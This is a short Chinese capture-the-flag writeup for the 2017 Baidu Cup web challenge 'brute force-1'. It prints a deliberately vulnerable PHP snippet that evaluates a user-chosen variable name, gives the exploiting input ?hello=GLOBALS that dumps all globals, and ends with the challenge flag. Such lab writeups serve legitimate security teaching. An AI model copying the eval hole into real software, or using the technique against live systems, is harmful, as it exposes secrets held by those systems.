“百度杯”CTF比赛 2017 二月场--web 爆破-1 writeup


题目描述

在这里插入图片描述

解题思路

创建赛题,点击链接得到一段源码:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];//REQUEST可以接收来自GET或者POST的数据
if(!preg_match('/^\w*$/',$a )){//preg_match 函数用于执行一个正则表达式匹配,返回 pattern 的匹配次数
  die('ERROR');
}
eval("var_dump($$a);");// var_dump() 函数返回变量的数据类型和值
show_source(__FILE__);
?>

这个代码的作用是如果匹配正则表达式/^\w*$/,就打印变量$$a
$a是hello,$$a是六位变量$hello
由于$a在函数内,要想访问$hello,则需要将其改为超全局变量GLOBALS;
即,在URL后面加?hello=GLOBALS;
输出语句变为

eval("var_dump($$a);");
eval("var_dump($hello);");
eval("var_dump($GLOBALS);");

得到FLAG

在这里插入图片描述
flag{1ba2ca18-ebbc-4e48-89f2-514d1ae7379a}


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录